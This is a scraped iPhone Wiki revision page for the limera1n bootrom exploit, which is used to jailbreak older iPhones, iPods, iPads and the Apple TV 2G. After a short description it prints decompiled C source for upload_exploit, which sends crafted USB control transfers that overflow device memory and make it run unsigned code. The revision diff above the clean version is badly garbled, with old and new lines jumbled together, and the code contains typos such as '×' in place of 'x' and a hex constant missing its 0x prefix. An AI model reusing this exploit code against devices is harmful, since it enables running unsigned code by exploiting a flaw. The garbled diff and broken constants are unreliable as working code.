Difference between revisions of "Limera1n Exploit"

From The iPhone Wiki
Jump to: navigation, search
m
(made code more readable)
Line 3: Line 3:
   
 
==Source Code==
 
==Source Code==
signed int __cdecl upload_exploit() {
+
signed int __cdecl upload_exploit() {
int v0; // eax@1

+
int device_type;
signed int v1; // edx@2
+
signed int payload_address;

int v2; // ebx@2
+
int free_address;

int v3; // eax@4

+
int deviceerror;
char *v4; // eax@5
+
char *chunk_headers_ptr;

unsigned int v5; // ebx@8
+
unsigned int sent_counter;

int v6; // ecx@14
+
//int v6;

signed int result; // eax@15
+
signed int result;

signed int v8; // ST38_4@18
+
//signed int v8;

int v9; // eax@28

+
int recv_error_code;
signed int v10; // [sp+38h] [bp-1030h]@4

+
signed int payload_address2;
signed int v11; // [sp+3Ch] [bp-102Ch]@2

+
signed int padding_size;
char v12; // [sp+4Ch] [bp-101Ch]@3
+
char payload;
  +
char chunk_headers;

char v13; // [sp+84Ch] [bp-81Ch]@5

 
  +
if(device_type == 8920) free_address = 0x84033FA4;

}

 
  +
else free_address = 84033F98;
 
  +
memset(&v12, 0, 0×800u);

 
  +
}
memcpy(&v12, exploit, 0×230u);
 
  +
memset(&payload, 0, 0×800);

if (libpois0n_debug) 
{

 
  +
memcpy(&payload, exploit, 0×230);
v8 = v1;
 
  +

((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Resetting device counters\n”);
 
  +
if (libpois0n_debug) {
v1 = v8;
 
  +
//v8 = payload_address;
}
 
  +
fprintf(stderr, 1, "Resetting device counters\n");
 
  +
}
v3 = irecv_reset_counters(client);
 
+
  +
payload_address2 = payload_address;

if ( v3 ) 
{

 
  +
deviceerror = irecv_reset_counters(client);
irecv_strerror(v3);

 
  +
__fprintf_chk(stderr, 1, &aCannotFindS[12]);

 
  +
irecv_strerror(deviceerror);
}
 else
 {

 
memset(&v13, -858993460, 0×800u);
+
fprintf(stderr, 1, &aCannotFindS[12]);

v4 = &v13;
+
result = -1;
+
} else {
do
 {

+
memset(&chunk_headers, 0xCC, 0×800);
*(_DWORD *)v4 = 1029;
+
chunk_headers_ptr = &chunk_headers;
*((_DWORD *)v4 + 1) = 257;
+
*((_DWORD *)v4 + 2) = v10;
+
do {
*((_DWORD *)v4 + 3) = v2;
+
*(_DWORD *)chunk_headers_ptr = 1029;
v4 += 64;
+
*((_DWORD *)chunk_headers_ptr + 1) = 257;

}
 while ((int *)v4 != &v14);
+
*((_DWORD *)chunk_headers_ptr + 2) = payload_address2;
  +
*((_DWORD *)chunk_headers_ptr + 3) = free_address;
 
  +
} while ((int *)chunk_headers_ptr != &v14);
((void (__cdecl *)(int, signed int, _DWORD))__fprintf_chk)(stderr, 1, “Sending chunk headers\n”);
 
  +
memset(&v13, -858993460, 0×800u);

 
  +
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
do 
{

 
  +

irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);
 
  +
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);

if (libpois0n_debug)
 
  +
} while (sent_counter < padding_size);

((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Sending exploit payload\n");
 
  +
if (libpois0n_debug)

irecv_control_transfer(client, 33, 1, 0, 0, &v12, 2048);
 
  +
fprintf(stderr, 1, "Sending exploit payload\n");
 
  +
irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800);

((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Sending fake data\n");

 
+
memset(&v13, -1145324613, 0x800u);

+
if (libpois0n_debug)
irecv_control_transfer(client, 161, 1, 0, 0, &v13, 2048);
+
fprintf(stderr, 1, "Sending fake data\n");
  +
irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);
 
  +
irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800);
if (libpois0n_debug)
 
  +
irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Executing exploit\n");
 
  +
if (libpois0n_debug)

irecv_control_transfer(client, 33, 2, 0, 0, &v13, 0);
 
  +

irecv_finish_transfer(client);

 
  +
irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0);
 
if (libpois0n_debug)
 {
+
irecv_reset(client);
  +
irecv_finish_transfer(client);

((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Exploit sent\n");
 
  +
if (libpois0n_debug) {
((void (__cdecl *)(_DWORD, _DWORD, _DWORD))__fprintf_chk)(stderr, 1, "Reconnecting to device\n");

 
  +
fprintf(stderr, 1, "Exploit sent\n");
}
 
+
if (libpois0n_debug)

client = (void *)irecv_reconnect(client, 2u);
+
fprintf(stderr, 1, "Reconnecting to device\n");
+
}

if (client) 
{

+
result = 0;
+
client = (void *)irecv_reconnect(client, 2);
}
 else
 {
+
if (libpois0n_debug) {
+
if (client) {
v9 = irecv_strerror(0);
+
result = 0;
  +
} else {
__fprintf_chk(stderr, 1, &aCannotFindS[12], v9);
 
  +
fprintf(stderr, 1, "Unable to reconnect\n");
}
 
  +
result = -1;

if (*MK_FP(__GS__, 20) != v14)

 
  +
}
__stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);

 
  +
return result;

 
  +
/* compiler stack check
}
 
int v14; // [sp+104Ch] [bp-1Ch]@1
+
/* int v14;
v14 = *MK_FP(__GS__, 20);
+
v14 = *MK_FP(__GS__, 20); */
v0 = *(_DWORD *)(device + 16);
+
device_type = *(_DWORD *)(device + 16);
+
if ( v0 == 8930 ) {
+
if ( device_type == 8930 ) {
v11 = 174080;
+
padding_size = 0x2A800;
v1 = -2080198655;
+
payload_address = 0x8402B001;
v2 = -2080129124;
+
free_address = 0x8403BF9C;
} else {
+
} else {
v1 = -2080231423;
+
payload_address = 0x84023001;
v11 = 141312;
+
padding_size = 0x22800;
v2 = (((v0 == 8920) – 1) & 0xFFFFFFF4) – 2080161884;
+
// free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C;
+
v10 = v1;
+
//payload_address = v8;
result = -1;

+
if ( deviceerror ) {

if (libpois0n_debug)

+
chunk_headers_ptr += 64;
+

v5 = 0;
+
if (libpois0n_debug)

irecv_control_transfer(client, 33, 1, 0, 0, &v13, 2048);
+
fprintf(stderr, 1, "Sending chunk headers\n");
+
sent_counter = 0;
v5 += 2048;
+
memset(&chunk_headers, 0xCC, 0×800);

} 
while (v5 < v11);
+
do {
+
sent_counter += 0x800;
+

if (libpois0n_debug)
+
+
memset(&chunk_headers, 0xBB, 0x800);
+

irecv_reset(client);
+
fprintf(stderr, 1, "Executing exploit\n");
if (libpois0n_debug)
+
}
+
if (libpois0n_debug) {
__fprintf_chk(stderr, 1, "Unable to reconnect\n");
+
recv_error_code = irecv_strerror(0);
result = -1;
+
fprintf(stderr, 1, &aCannotFindS[12], recv_error_code);
}
+
}
+
}
  +
if (*MK_FP(__GS__, 20) != v14)
  +
__stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);
  +
*/
  +
return result;
  +
}
   
 
[[Category:Exploits]]
 
[[Category:Exploits]]

Revision as of 20:14, 2 January 2012

The limera1n exploit is the bootrom exploit used to run unsigned code (and thereby jailbreak) the iPhone 3GS, iPod touch 3G, iPod touch 4G, iPad, iPhone 4 GSM, iPhone 4 CDMA, and the Apple TV 2G. It was first used in the limera1n tool by geohot. It is actively used on all the supported devices to perform a jailbreak on current versions of iOS, which is tethered unless there is another exploit available to "untether" the jailbreak, such as the 0x24000 Segment Overflow or the Packet Filter Kernel Exploit.

Source Code

signed int __cdecl upload_exploit() {

   int device_type;           
   signed int payload_address;
   int free_address;          
   int deviceerror;           
   char *chunk_headers_ptr;   
   unsigned int sent_counter; 
   //int v6;            
   signed int result; 
   //signed int v8;     
   int recv_error_code;            
   signed int payload_address2;  
   signed int padding_size;    
   char payload;      
   char chunk_headers;

/* int v14;

   v14 = *MK_FP(__GS__, 20); */
   device_type = *(_DWORD *)(device + 16);
   
   if ( device_type == 8930 ) {
       padding_size = 0x2A800;
       payload_address = 0x8402B001;
       free_address = 0x8403BF9C;
   } else {
       payload_address = 0x84023001;
       padding_size = 0x22800;

// free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C; if(device_type == 8920) free_address = 0x84033FA4; else free_address = 84033F98;

   }
   
   memset(&payload, 0, 0×800);
   memcpy(&payload, exploit, 0×230);
   
   if (libpois0n_debug) {
       //v8 = payload_address;
       fprintf(stderr, 1, "Resetting device counters\n");
       //payload_address = v8;
   }
   
   payload_address2 = payload_address;
   deviceerror = irecv_reset_counters(client);
   
   if ( deviceerror ) {
       irecv_strerror(deviceerror);
       fprintf(stderr, 1, &aCannotFindS[12]);
       result = -1;
   } else {
       memset(&chunk_headers, 0xCC, 0×800);
       chunk_headers_ptr = &chunk_headers;
       
       do {
           *(_DWORD *)chunk_headers_ptr = 1029;       
           *((_DWORD *)chunk_headers_ptr + 1) = 257;
           *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  
           *((_DWORD *)chunk_headers_ptr + 3) = free_address;
           chunk_headers_ptr += 64;
       } while ((int *)chunk_headers_ptr != &v14);
       
       if (libpois0n_debug)
           fprintf(stderr, 1, "Sending chunk headers\n");
       
       sent_counter = 0;
       irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
       memset(&chunk_headers, 0xCC, 0×800);
       
       do {
           sent_counter += 0x800;
           irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
       } while (sent_counter < padding_size);
       
       if (libpois0n_debug)
           fprintf(stderr, 1, "Sending exploit payload\n");
       
       irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800);
       
       if (libpois0n_debug)
           fprintf(stderr, 1, "Sending fake data\n");
       
       memset(&chunk_headers, 0xBB, 0x800);
       irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800);
       irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
       
       if (libpois0n_debug)
           fprintf(stderr, 1, "Executing exploit\n");
       
       irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0);
       irecv_reset(client);
       irecv_finish_transfer(client);
       
       if (libpois0n_debug) {
           fprintf(stderr, 1, "Exploit sent\n");
           if (libpois0n_debug)
               fprintf(stderr, 1, "Reconnecting to device\n");
       }
       
       client = (void *)irecv_reconnect(client, 2);
       
       if (client) {
           result = 0;
       } else {
           if (libpois0n_debug) {
               recv_error_code = irecv_strerror(0);
               fprintf(stderr, 1, &aCannotFindS[12], recv_error_code);
           }
           fprintf(stderr, 1, "Unable to reconnect\n");
           result = -1;
       }
   }

/* compiler stack check

   if (*MK_FP(__GS__, 20) != v14)
       __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);
   */
   return result;

}